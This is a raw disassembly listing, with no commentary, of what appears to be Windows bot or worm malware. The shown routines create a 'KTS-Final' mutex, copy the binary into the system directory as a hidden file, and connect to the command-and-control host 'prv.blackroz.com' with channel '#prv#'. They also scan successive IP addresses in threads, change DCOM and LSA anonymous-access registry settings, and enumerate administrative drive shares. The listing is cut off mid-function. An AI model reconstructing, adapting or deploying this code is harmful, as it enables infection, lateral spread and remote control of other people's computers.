var_34 = dword ptr -34h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_20 = dword ptr -20h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0B8h
mov eax, [ebp+arg_0]
push esi
push edi
push 2Ah
pop ecx
mov esi, eax
lea edi, [ebp+var_B8]
push 10h
rep movsd
xor esi, esi
push 0
inc esi
mov [eax+0A4h], esi
lea eax, [ebp+var_10]
push eax
call sub_40CC40
add esp, 0Ch
mov [ebp+var_10], 2
push [ebp+var_34]
call dword_42D878 ; htons
mov [ebp+var_E], ax
mov eax, [ebp+var_28]
push 6
push esi
push 2
mov [ebp+var_C], eax
call dword_42D8F4 ; socket
mov esi, eax
cmp esi, 0FFFFFFFFh
jz short loc_40689F
lea eax, [ebp+var_10]
push 10h
push eax
push esi
call dword_42D824 ; connect
mov ecx, [ebp+var_2C]
imul ecx, 234h
cmp eax, 0FFFFFFFFh
mov dword_42F414[ecx], esi
jz short loc_40689F
push [ebp+var_34]
push [ebp+var_28]
call dword_42D900 ; inet_ntoa
push eax
mov edi, offset dword_42E480
push offset unk_41D898
push edi
call sub_40C6C3
push 0
lea eax, [ebp+var_B4]
push [ebp+var_20]
push edi
push eax
push [ebp+var_B8]
call sub_404555
push edi
call sub_403145
add esp, 28h
loc_40689F: ; CODE XREF: sub_4067E1+5Dj
; sub_4067E1+7Ej
push esi
call dword_42D90C ; closesocket
pop edi
xor eax, eax
pop esi
leave
retn 4
sub_4067E1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn bp-based frame
sub_4068AE proc near ; DATA XREF: sub_4077FD+1FD7o
var_130 = byte ptr -130h
var_B0 = byte ptr -0B0h
var_2C = dword ptr -2Ch
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_C = dword ptr -0Ch
var_8 = byte ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 130h
push ebx
mov ebx, [ebp+arg_0]
push esi
push edi
push 2Ah
mov esi, ebx
pop ecx
lea edi, [ebp+var_B0]
rep movsd
mov esi, dword_418040
mov dword ptr [ebx+0A0h], 1
xor edi, edi
loc_4068DC: ; CODE XREF: sub_4068AE+ECj
push [ebp+var_2C]
push [ebp+var_20]
call dword_42D900 ; inet_ntoa
push eax
lea eax, [ebp+var_130]
push offset unk_41D8C0
push eax
call sub_40C6C3
lea eax, [ebp+var_130]
push 1FFh
push eax
mov eax, [ebp+var_24]
imul eax, 234h
add eax, offset dword_42F208
push eax
call sub_40C720
add esp, 1Ch
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_B0]
push edi
push eax
push offset sub_4067E1
push edi
push edi
call dword_418048 ; CreateThread
cmp eax, edi
mov [ebp+var_4], eax
jz short loc_406948
jmp short loc_406943
; ---------------------------------------------------------------------------
loc_40693F: ; CODE XREF: sub_4068AE+98j
push 32h
call esi ; Sleep
loc_406943: ; CODE XREF: sub_4068AE+8Fj
cmp [ebp+var_C], edi
jz short loc_40693F
loc_406948: ; CODE XREF: sub_4068AE+8Dj
push [ebp+var_4]
call dword_41807C ; CloseHandle
push dword ptr [ebx+88h]
mov [ebx+0A4h], edi
call esi ; Sleep
lea eax, [ebp+var_20]
push 4
push eax
lea eax, [ebp+arg_0]
push eax
call near ptr sub_40C820
add esp, 0Ch
push [ebp+arg_0]
call dword_42D7BC ; htonl
inc eax
push eax
mov [ebp+arg_0], eax
call dword_42D874 ; htonl
mov [ebp+arg_0], eax
lea eax, [ebp+arg_0]
push 4
push eax
lea eax, [ebp+var_20]
push eax
call near ptr sub_40C820
add esp, 0Ch
jmp loc_4068DC
sub_4068AE endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40699F proc near ; DATA XREF: sub_4077FD+382Fo
var_98 = dword ptr -98h
var_94 = byte ptr -94h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 98h
mov eax, [ebp+arg_0]
push esi
push edi
push 26h
pop ecx
mov esi, eax
lea edi, [ebp+var_98]
rep movsd
pop edi
pop esi
push [ebp+var_8]
cmp [ebp+var_10], 0
mov dword ptr [eax+94h], 1
lea eax, [ebp+var_94]
push [ebp+var_C]
push eax
push [ebp+var_98]
jz short loc_4069E6
call sub_4069FF
jmp short loc_4069EB
; ---------------------------------------------------------------------------
loc_4069E6: ; CODE XREF: sub_40699F+3Ej
call sub_406D25
loc_4069EB: ; CODE XREF: sub_40699F+45j
add esp, 10h
push [ebp+var_14]
call sub_40C378
pop ecx
push 0
call dword_418050 ; ExitThread
sub_40699F endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4069FF proc near ; CODE XREF: sub_40699F+40p
var_214 = byte ptr -214h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 214h
push esi
push edi
xor edi, edi
cmp dword_42D940, edi
jnz loc_406B31
lea eax, [ebp+var_4]
mov esi, 80000002h
push eax
push 2001Fh
push edi
push offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
push esi
call dword_42D8E4 ; RegOpenKeyExA
test eax, eax
jnz short loc_406A8A
mov ax, word_41DBB8
mov word ptr [ebp+var_8+2], ax
lea eax, [ebp+var_8+2]
push eax
call sub_40CBC0
pop ecx
push eax
lea eax, [ebp+var_8+2]
push eax
push 1
push edi
push offset aEnabledcom ; "EnableDCOM"
push [ebp+var_4]
call dword_42D89C ; RegSetValueExA
test eax, eax
lea eax, [ebp+var_214]
jz short loc_406A72
push offset unk_41DB84
jmp short loc_406A77
; ---------------------------------------------------------------------------
loc_406A72: ; CODE XREF: sub_4069FF+6Aj
push offset dword_41DB64
loc_406A77: ; CODE XREF: sub_4069FF+71j
push eax
call sub_40C6C3
pop ecx
pop ecx
push [ebp+var_4]
call dword_42D854 ; RegCloseKey
jmp short loc_406A9D
; ---------------------------------------------------------------------------
loc_406A8A: ; CODE XREF: sub_4069FF+36j
lea eax, [ebp+var_214]
push offset unk_41DB30
push eax
call sub_40C6C3
pop ecx
pop ecx
loc_406A9D: ; CODE XREF: sub_4069FF+89j
cmp [ebp+arg_C], edi
jnz short loc_406ABC
push 1
lea eax, [ebp+var_214]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_404555
add esp, 14h
loc_406ABC: ; CODE XREF: sub_4069FF+A1j
lea eax, [ebp+var_214]
push eax
call sub_403145
pop ecx
lea eax, [ebp+var_4]
push eax
push 0F003Fh
push edi
push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa"
push esi
call dword_42D8E4 ; RegOpenKeyExA
test eax, eax
jnz short loc_406B2A
lea eax, [ebp+var_8]
push 4
push eax
push 4
push edi
push offset aRestrictanonym ; "restrictanonymous"
push [ebp+var_4]
mov [ebp+var_8], 1
call dword_42D89C ; RegSetValueExA
test eax, eax
lea eax, [ebp+var_214]
jz short loc_406B12
push offset unk_41DADC
jmp short loc_406B17
; ---------------------------------------------------------------------------
loc_406B12: ; CODE XREF: sub_4069FF+10Aj
push offset unk_41DAA4
loc_406B17: ; CODE XREF: sub_4069FF+111j
push eax
call sub_40C6C3
pop ecx
pop ecx
push [ebp+var_4]
call dword_42D854 ; RegCloseKey
jmp short loc_406B44
; ---------------------------------------------------------------------------
loc_406B2A: ; CODE XREF: sub_4069FF+E2j
push offset unk_41DA64
jmp short loc_406B36
; ---------------------------------------------------------------------------
loc_406B31: ; CODE XREF: sub_4069FF+13j
push offset unk_41DA30
loc_406B36: ; CODE XREF: sub_4069FF+130j
lea eax, [ebp+var_214]
push eax
call sub_40C6C3
pop ecx
pop ecx
loc_406B44: ; CODE XREF: sub_4069FF+129j
cmp [ebp+arg_C], edi
jnz short loc_406B63
push 1
lea eax, [ebp+var_214]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_404555
add esp, 14h
loc_406B63: ; CODE XREF: sub_4069FF+148j
lea eax, [ebp+var_214]
push eax
call sub_403145
cmp dword_42D968, edi
pop ecx
jnz loc_406CE0
push ebx
mov [ebp+var_4], edi
mov [ebp+var_14], edi
mov [ebp+var_C], edi
loc_406B86: ; CODE XREF: sub_4069FF+2C5j
lea eax, [ebp+var_C]
push eax
lea eax, [ebp+var_14]
push eax
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_8]
push 0FFFFFFFFh
push eax
push 1F6h
push edi
call dword_42D7D4
cmp eax, edi
mov [ebp+var_10], eax
jz short loc_406C25
cmp eax, 0EAh
jz short loc_406C25
xor esi, esi
loc_406BB4: ; CODE XREF: sub_4069FF+21Fj
push off_41D8EC[esi]
push edi
call sub_4057B6
pop ecx
pop ecx
push off_41D8EC[esi]
test eax, eax
lea eax, [ebp+var_214]
jnz short loc_406BD9
push offset unk_41DA0C
jmp short loc_406BDE
; ---------------------------------------------------------------------------
loc_406BD9: ; CODE XREF: sub_4069FF+1D1j
push offset unk_41D9DC
loc_406BDE: ; CODE XREF: sub_4069FF+1D8j
push 200h
push eax
call sub_40D3F7
add esp, 10h
cmp [ebp+arg_C], edi
jnz short loc_406C0B
push 1
lea eax, [ebp+var_214]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_404555
add esp, 14h
loc_406C0B: ; CODE XREF: sub_4069FF+1F0j
lea eax, [ebp+var_214]
push eax
call sub_403145
add esi, 8
pop ecx
cmp esi, 20h
jb short loc_406BB4
jmp loc_406CBD
; ---------------------------------------------------------------------------
loc_406C25: ; CODE XREF: sub_4069FF+1AAj
; sub_4069FF+1B1j
mov esi, [ebp+var_8]
xor ebx, ebx
inc ebx
cmp [ebp+var_4], ebx
jb loc_406CB4
loc_406C34: ; CODE XREF: sub_4069FF+2B1j
mov edi, [esi]
push edi
call sub_40E6CC
cmp word ptr [edi+eax*2-2], 24h
pop ecx
jnz short loc_406CA9
push edi
call sub_4056A3
push eax
push 0
call sub_4057B6
add esp, 0Ch
push dword ptr [esi]
test eax, eax
lea eax, [ebp+var_214]
jnz short loc_406C69
push offset unk_41D9B8
jmp short loc_406C6E
; ---------------------------------------------------------------------------
loc_406C69: ; CODE XREF: sub_4069FF+261j
push offset unk_41D988
loc_406C6E: ; CODE XREF: sub_4069FF+268j
push 200h
push eax
call sub_40D3F7
add esp, 10h
cmp [ebp+arg_C], 0
jnz short loc_406C9C
push 1
lea eax, [ebp+var_214]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_404555
add esp, 14h
loc_406C9C: ; CODE XREF: sub_4069FF+281j
lea eax, [ebp+var_214]
push eax
call sub_403145
pop ecx
loc_406CA9: ; CODE XREF: sub_4069FF+244j
add esi, 28h
inc ebx
cmp ebx, [ebp+var_4]
jbe short loc_406C34
xor edi, edi
loc_406CB4: ; CODE XREF: sub_4069FF+22Fj
push [ebp+var_8]
call dword_42D904
loc_406CBD: ; CODE XREF: sub_4069FF+221j
cmp [ebp+var_10], 0EAh
jz loc_406B86
lea eax, [ebp+var_214]
push offset unk_41D960
push eax
call sub_40C6C3
pop ecx
pop ecx
pop ebx
jmp short loc_406CF3
; ---------------------------------------------------------------------------
loc_406CE0: ; CODE XREF: sub_4069FF+177j
lea eax, [ebp+var_214]
push offset unk_41D92C
push eax
call sub_40C6C3
pop ecx
pop ecx
loc_406CF3: ; CODE XREF: sub_4069FF+2DFj
cmp [ebp+arg_C], edi
jnz short loc_406D11
push edi
lea eax, [ebp+var_214]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_404555
add esp, 14h
loc_406D11: ; CODE XREF: sub_4069FF+2F7j
lea eax, [ebp+var_214]
push eax
call sub_403145
pop ecx
xor eax, eax
pop edi
inc eax
pop esi
leave
retn
sub_4069FF endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_406D25 proc near ; CODE XREF: sub_40699F:loc_4069E6p
var_220 = byte ptr -220h
var_20 = byte ptr -20h
var_14 = byte ptr -14h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 220h
push ebx
xor ebx, ebx
cmp dword_42D940, ebx
push esi
jnz loc_406E53
lea eax, [ebp+var_4]
mov esi, 80000002h
push eax
push 2001Fh
push ebx
push offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
push esi
call dword_42D8E4 ; RegOpenKeyExA
test eax, eax
jnz short loc_406DB0
mov ax, word_41DD3C
mov word ptr [ebp+var_8+2], ax
lea eax, [ebp+var_8+2]
push eax
call sub_40CBC0
pop ecx
push eax
lea eax, [ebp+var_8+2]
push eax
push 1
push ebx
push offset aEnabledcom ; "EnableDCOM"
push [ebp+var_4]
call dword_42D89C ; RegSetValueExA
test eax, eax
lea eax, [ebp+var_220]
jz short loc_406D98
push offset unk_41DD18
jmp short loc_406D9D
; ---------------------------------------------------------------------------
loc_406D98: ; CODE XREF: sub_406D25+6Aj
push offset dword_41DCF8
loc_406D9D: ; CODE XREF: sub_406D25+71j
push eax
call sub_40C6C3
pop ecx
pop ecx
push [ebp+var_4]
call dword_42D854 ; RegCloseKey
jmp short loc_406DC3
; ---------------------------------------------------------------------------
loc_406DB0: ; CODE XREF: sub_406D25+36j
lea eax, [ebp+var_220]
push offset unk_41DB30
push eax
call sub_40C6C3
pop ecx
pop ecx
loc_406DC3: ; CODE XREF: sub_406D25+89j
cmp [ebp+arg_C], ebx
jnz short loc_406DE2
push 1
lea eax, [ebp+var_220]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_404555
add esp, 14h
loc_406DE2: ; CODE XREF: sub_406D25+A1j
lea eax, [ebp+var_220]
push eax
call sub_403145
pop ecx
lea eax, [ebp+var_4]
push eax
push 0F003Fh
push ebx
push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa"
push esi
call dword_42D8E4 ; RegOpenKeyExA
test eax, eax
jnz short loc_406E4C
lea eax, [ebp+var_8]
push 4
push eax
push 4
push ebx
push offset aRestrictanonym ; "restrictanonymous"
push [ebp+var_4]
mov [ebp+var_8], ebx
call dword_42D89C ; RegSetValueExA
test eax, eax
lea eax, [ebp+var_220]
jz short loc_406E34
push offset unk_41DCB8
jmp short loc_406E39
; ---------------------------------------------------------------------------
loc_406E34: ; CODE XREF: sub_406D25+106j
push offset unk_41DC80
loc_406E39: ; CODE XREF: sub_406D25+10Dj
push eax
call sub_40C6C3
pop ecx
pop ecx
push [ebp+var_4]
call dword_42D854 ; RegCloseKey
jmp short loc_406E66
; ---------------------------------------------------------------------------
loc_406E4C: ; CODE XREF: sub_406D25+E2j
push offset unk_41DC40
jmp short loc_406E58
; ---------------------------------------------------------------------------
loc_406E53: ; CODE XREF: sub_406D25+13j
push offset unk_41DA30
loc_406E58: ; CODE XREF: sub_406D25+12Cj
lea eax, [ebp+var_220]
push eax
call sub_40C6C3
pop ecx
pop ecx
loc_406E66: ; CODE XREF: sub_406D25+125j
cmp [ebp+arg_C], ebx
jnz short loc_406E85
push 1
lea eax, [ebp+var_220]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_404555
add esp, 14h
loc_406E85: ; CODE XREF: sub_406D25+144j
lea eax, [ebp+var_220]
push eax
call sub_403145
cmp dword_42D968, ebx
pop ecx
jnz loc_406FFC
push edi
xor esi, esi
mov edi, 200h
loc_406EA6: ; CODE XREF: sub_406D25+1EEj
push dword_41D8F0[esi]
push off_41D8EC[esi]
push ebx
call sub_40570A
add esp, 0Ch
push off_41D8EC[esi]
test eax, eax
lea eax, [ebp+var_220]
jnz short loc_406ED2
push offset unk_41DC1C
jmp short loc_406ED7
; ---------------------------------------------------------------------------
loc_406ED2: ; CODE XREF: sub_406D25+1A4j
push offset unk_41DBF0
loc_406ED7: ; CODE XREF: sub_406D25+1ABj
push edi
push eax
call sub_40D3F7
add esp, 10h
cmp [ebp+arg_C], ebx
jnz short loc_406F00
push 1
lea eax, [ebp+var_220]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_404555
add esp, 14h
loc_406F00: ; CODE XREF: sub_406D25+1BFj
lea eax, [ebp+var_220]
push eax
call sub_403145
add esi, 8
pop ecx
cmp esi, 10h
jb short loc_406EA6
call dword_4180E4 ; GetLogicalDrives
test eax, eax
mov [ebp+var_4], eax
mov bl, 41h
jz loc_406FE4
loc_406F28: ; CODE XREF: sub_406D25+2B9j
mov eax, [ebp+var_4]
and eax, 1
cmp al, 1
jnz loc_406FD9
cmp bl, 41h
jz loc_406FD9
movsx esi, bl
push esi
push offset aC_0 ; "%c$"
lea eax, [ebp+var_14]
push 0Ah
push eax
call sub_40D3F7
push esi
push offset aC ; "%c:\\"
lea eax, [ebp+var_20]
push 0Ah
push eax
call sub_40D3F7
add esp, 20h
lea eax, [ebp+var_20]
push eax
call dword_42D8D4 ; GetDriveTypeA
cmp eax, 3
jnz short loc_406FD9
lea eax, [ebp+var_20]
push eax
lea eax, [ebp+var_14]
push eax
push 0
call sub_40570A
add esp, 0Ch
test eax, eax
lea eax, [ebp+var_14]
push eax
lea eax, [ebp+var_220]
jnz short loc_406F9D
push offset unk_41DC1C
jmp short loc_406FA2
; ---------------------------------------------------------------------------
loc_406F9D: ; CODE XREF: sub_406D25+26Fj
push offset unk_41DBF0
loc_406FA2: ; CODE XREF: sub_406D25+276j
push edi
push eax
call sub_40D3F7
add esp, 10h
cmp [ebp+arg_C], 0
jnz short loc_406FCC
push 1
lea eax, [ebp+var_220]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_404555
add esp, 14h
loc_406FCC: ; CODE XREF: sub_406D25+28Bj
lea eax, [ebp+var_220]
push eax
call sub_403145
pop ecx
loc_406FD9: ; CODE XREF: sub_406D25+20Bj
; sub_406D25+214j ...
inc bl
shr [ebp+var_4], 1
jnz loc_406F28
loc_406FE4: ; CODE XREF: sub_406D25+1FDj
lea eax, [ebp+var_220]
push offset unk_41DBBC
push eax
call sub_40C6C3
pop ecx
xor ebx, ebx
pop ecx
pop edi
jmp short loc_40700F
; ---------------------------------------------------------------------------
loc_406FFC: ; CODE XREF: sub_406D25+173j
lea eax, [ebp+var_220]
push offset unk_41D92C
push eax
call sub_40C6C3
pop ecx
pop ecx
loc_40700F: ; CODE XREF: sub_406D25+2D5j
cmp [ebp+arg_C], ebx
jnz short loc_40702D
push ebx
lea eax, [ebp+var_220]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_404555
add esp, 14h
loc_40702D: ; CODE XREF: sub_406D25+2EDj
lea eax, [ebp+var_220]
push eax
call sub_403145
pop ecx
xor eax, eax
pop esi
inc eax
pop ebx
leave
retn
sub_406D25 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_407041 proc near ; CODE XREF: sub_40EB84+C9p
var_90C = byte ptr -90Ch
var_808 = byte ptr -808h
var_807 = byte ptr -807h
var_678 = byte ptr -678h
var_578 = byte ptr -578h
var_478 = byte ptr -478h
var_374 = byte ptr -374h
var_270 = byte ptr -270h
var_16C = byte ptr -16Ch
var_68 = dword ptr -68h
var_5C = dword ptr -5Ch
var_3C = dword ptr -3Ch
var_38 = word ptr -38h
var_24 = byte ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 90Ch
push ebx
push esi
xor esi, esi
xor ebx, ebx
push edi
mov [ebp+var_4], ebx
mov [ebp+var_C], esi
mov [ebp+var_10], esi
mov [ebp+var_8], offset sub_403B83
push [ebp+var_8]
push large dword ptr fs:0
mov large fs:0, esp
mov edi, dword_41805C
call edi ; GetTickCount
xor edx, edx
mov ecx, 3E8h
div ecx
mov dword_481BE8, eax
call edi ; GetTickCount
push eax
call sub_40CB55
pop ecx
call sub_4045F0
push 2
call dword_42D920 ; SetErrorMode
push 7530h
push offset aKtsFinal ; "KTS-Final"
push esi
push esi
call dword_4180F8 ; CreateMutexA
push eax
call dword_4180F4 ; WaitForSingleObject
cmp eax, 102h
jnz short loc_4070C6
push 1
call dword_418074 ; ExitProcess
loc_4070C6: ; CODE XREF: sub_407041+7Bj
lea eax, [ebp+var_808]
push eax
push 202h
call dword_42D7FC ; WSAStartup
cmp eax, esi
mov [ebp+var_8], eax
jnz loc_407523
cmp [ebp+var_808], 2
jnz loc_40751D
xor eax, eax
mov al, [ebp+var_807]
cmp al, 2
jnz loc_40751D
mov edi, 104h
lea eax, [ebp+var_374]
push edi
push eax
call dword_418088 ; GetSystemDirectoryA
lea eax, [ebp+var_270]
push edi
push eax
push esi
call dword_418094 ; GetModuleHandleA
push eax
call dword_41804C ; GetModuleFileNameA
lea eax, [ebp+var_578]
push eax
lea eax, [ebp+var_678]
push eax
push esi
lea eax, [ebp+var_270]
push esi
push eax
call sub_40E887
lea eax, [ebp+var_578]
push eax
lea eax, [ebp+var_678]
push eax
push offset aSS_3 ; "%s%s"
lea eax, [ebp+var_478]
push edi
push eax
call sub_40D3F7
lea eax, [ebp+var_374]
push eax
lea eax, [ebp+var_270]
push eax
call sub_40E4B0
add esp, 30h
test eax, eax
jnz loc_407324
cmp dword_41DE48, esi
mov edi, offset byte_41DF08
jz short loc_4071C8
push edi
mov [ebp+var_4], esi
call sub_40CBC0
sub eax, 4
pop ecx
jz short loc_4071C8
loc_40719F: ; CODE XREF: sub_407041+185j
call sub_40CB5F
push 1Ah
cdq
pop ecx
idiv ecx
mov eax, [ebp+var_4]
push edi
add dl, 61h
inc [ebp+var_4]
mov byte_41DF08[eax], dl
call sub_40CBC0
sub eax, 4
pop ecx
cmp [ebp+var_4], eax
jb short loc_40719F
loc_4071C8: ; CODE XREF: sub_407041+14Dj
; sub_407041+15Cj
lea eax, [ebp+var_374]
push edi
push eax
lea eax, [ebp+var_16C]
push offset aSS_2 ; "%s\\%s"
push eax
call sub_40C6C3
add esp, 10h
lea eax, [ebp+var_16C]
push eax
call dword_4180C0 ; GetFileAttributesA
cmp eax, 0FFFFFFFFh
jz short loc_407208
lea eax, [ebp+var_16C]
push 80h
push eax
call dword_4180BC ; SetFileAttributesA
loc_407208: ; CODE XREF: sub_407041+1B3j
mov edi, dword_4180F0
xor ebx, ebx
jmp short loc_407234
; ---------------------------------------------------------------------------
loc_407212: ; CODE XREF: sub_407041+206j
call dword_418044 ; RtlGetLastWin32Error
cmp ebx, esi
jnz short loc_407249
cmp eax, 20h
jz short loc_407226
cmp eax, 5
jnz short loc_407249
loc_407226: ; CODE XREF: sub_407041+1DEj
xor ebx, ebx
push 3A98h
inc ebx
call dword_418040 ; Sleep
loc_407234: ; CODE XREF: sub_407041+1CFj
lea eax, [ebp+var_16C]
push esi
push eax
lea eax, [ebp+var_270]
push eax
call edi ; CopyFileA
test eax, eax
jz short loc_407212
loc_407249: ; CODE XREF: sub_407041+1D9j
; sub_407041+1E3j
lea eax, [ebp+var_16C]
push eax
call sub_405455
pop ecx
lea eax, [ebp+var_16C]
push 7
push eax
call dword_4180BC ; SetFileAttributesA
push 10h
lea eax, [ebp+var_20]
push esi
push eax
call sub_40CC40
push 44h
lea eax, [ebp+var_68]
pop edi
push edi
push esi
push eax
call sub_40CC40
mov [ebp+var_68], edi
xor edi, edi
inc edi
add esp, 18h
mov [ebp+var_5C], offset byte_4242F0
mov [ebp+var_3C], edi
mov [ebp+var_38], si
call dword_4180EC ; GetCurrentProcessId
push eax
push edi
push 100000h
call dword_4180DC ; OpenProcess
lea ecx, [ebp+var_270]
push ecx
push eax
lea eax, [ebp+var_16C]
push eax
lea eax, [ebp+var_90C]
push offset aSDS ; "%s %d \"%s\""
push eax
call sub_40C6C3
add esp, 14h
lea eax, [ebp+var_20]
push eax
lea eax, [ebp+var_68]
push eax
lea eax, [ebp+var_374]
push eax
push esi
push 28h
push edi
push esi
lea eax, [ebp+var_90C]
push esi
push eax
lea eax, [ebp+var_16C]
push eax
call dword_418078 ; CreateProcessA
test eax, eax
jz short loc_407321
push 0C8h
call dword_418040 ; Sleep
push [ebp+var_20]
mov edi, dword_41807C
call edi ; CloseHandle
push [ebp+var_1C]
call edi ; CloseHandle
call dword_42D7E4 ; WSACleanup
push esi
call dword_418074 ; ExitProcess
loc_407321: ; CODE XREF: sub_407041+2B6j
mov ebx, [ebp+var_4]
loc_407324: ; CODE XREF: sub_407041+13Cj
cmp dword_481DD8, 2
jle short loc_407370
mov eax, dword_481DDC
push dword ptr [eax+4]
call sub_40D9BF
pop ecx
mov edi, eax
push 0FFFFFFFFh
push edi
call dword_4180F4 ; WaitForSingleObject
push edi
call dword_41807C ; CloseHandle
mov eax, dword_481DDC
cmp [eax+8], esi
jz short loc_407370
push 7D0h
call dword_418040 ; Sleep
mov eax, dword_481DDC
push dword ptr [eax+8]
call dword_4180E8 ; DeleteFileA
loc_407370: ; CODE XREF: sub_407041+2EAj
; sub_407041+314j
cmp dword_41DE4C, esi
jz short loc_40738D
cmp dword_42D940, esi
jnz short loc_40738D
lea eax, [ebp+var_478]
push eax
call sub_4031BC
pop ecx
loc_40738D: ; CODE XREF: sub_407041+335j
; sub_407041+33Dj
push 0B80h
push esi
push offset dword_42E688
call sub_40CC40
add esp, 0Ch
lea eax, [ebp+var_C]
push eax
lea eax, [ebp+var_478]
push esi
push eax
push offset sub_40322D
push esi
push esi
call dword_418048 ; CreateThread
imul ebx, 234h
cmp eax, esi
mov dword_42F41C[ebx], eax
jnz short loc_4073D3
call sub_40CB5F
mov dword_481D5C, eax
loc_4073D3: ; CODE XREF: sub_407041+386j
push 7Fh
mov ebx, offset dword_481BF4
push offset aPrv_blackroz_c ; "prv.blackroz.com"
push ebx
call sub_40C720
mov eax, dword_41DE38
push 3Fh
mov edi, offset dword_481C74
push offset aPrv ; "#prv#"
push edi
mov dword_481D44, eax
call sub_40C720
push 3Fh
mov esi, offset dword_481CB4
push offset aPr__ ; "pr.."
push esi
call sub_40C720
add esp, 24h
and dword_481D48, 0
loc_40741D: ; CODE XREF: sub_407041+485j
; sub_407041+491j ...
and [ebp+var_4], 0
loc_407421: ; CODE XREF: sub_407041+43Bj
cmp dword_42D958, 0
jnz short loc_407441
lea eax, [ebp+var_24]
push 0
push eax
call dword_42D7CC ; InternetGetConnectedState
test eax, eax
jnz short loc_407441
push 7530h
jmp short loc_40746F
; ---------------------------------------------------------------------------
loc_407441: ; CODE XREF: sub_407041+3E7j
; sub_407041+3F7j
and dword_481D58, 0
push offset dword_481BF0
call sub_40752C
cmp eax, 2
mov [ebp+var_8], eax
jz loc_407518
cmp dword_481D58, 0
jz short loc_40746A
dec [ebp+var_4]
loc_40746A: ; CODE XREF: sub_407041+424j
push 0BB8h
loc_40746F: ; CODE XREF: sub_407041+3FEj
call dword_418040 ; Sleep
inc [ebp+var_4]
cmp [ebp+var_4], 6
jl short loc_407421
cmp [ebp+var_8], 2
jz loc_407518
cmp [ebp+var_10], 0
jz short loc_4074CB
push 7Fh
push offset aPrv_blackroz_c ; "prv.blackroz.com"
push ebx
call sub_40C720
mov eax, dword_41DE38
push 3Fh
push offset aPrv ; "#prv#"
push edi
mov dword_481D44, eax
call sub_40C720
push 3Fh
push offset aPr__ ; "pr.."
push esi
call sub_40C720
add esp, 24h
and [ebp+var_10], 0
jmp loc_40741D
; ---------------------------------------------------------------------------
loc_4074CB: ; CODE XREF: sub_407041+44Bj
cmp byte_41DEE4, 0
jz loc_40741D
push 7Fh
push offset byte_41DEE4
push ebx
call sub_40C720
mov eax, dword_41DE3C
push 3Fh
push offset aPrv_0 ; "#prv#"
push edi
mov dword_481D44, eax
call sub_40C720
push 3Fh
push offset aPr___0 ; "pr.."
push esi
call sub_40C720
add esp, 24h
mov [ebp+var_10], 1
jmp loc_40741D
; ---------------------------------------------------------------------------
loc_407518: ; CODE XREF: sub_407041+417j
; sub_407041+441j
call sub_40C225
loc_40751D: ; CODE XREF: sub_407041+A9j
; sub_407041+B9j
call dword_42D7E4 ; WSACleanup
loc_407523: ; CODE XREF: sub_407041+9Cj
pop edi
pop esi
xor eax, eax
pop ebx
leave
retn 10h
sub_407041 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40752C proc near ; CODE XREF: sub_407041+40Cp
var_190 = dword ptr -190h
var_18C = byte ptr -18Ch
var_10C = byte ptr -10Ch
var_CC = byte ptr -0CCh
var_8C = byte ptr -8Ch
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_2C = byte ptr -2Ch
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 190h
mov eax, [ebp+arg_0]
push esi
push edi
push 59h
pop ecx
mov esi, eax
lea edi, [ebp+var_190]
rep movsd
mov dword ptr [eax+160h], 1
loc_407551: ; CODE XREF: sub_40752C+E6j
; sub_40752C+125j ...
push 10h
lea eax, [ebp+var_10]
push 0
push eax
call sub_40CC40
add esp, 0Ch
mov [ebp+var_10], 2
push [ebp+var_3C]
call dword_42D878 ; htons
mov [ebp+var_E], ax
lea eax, [ebp+var_18C]
push eax
call sub_4057D9
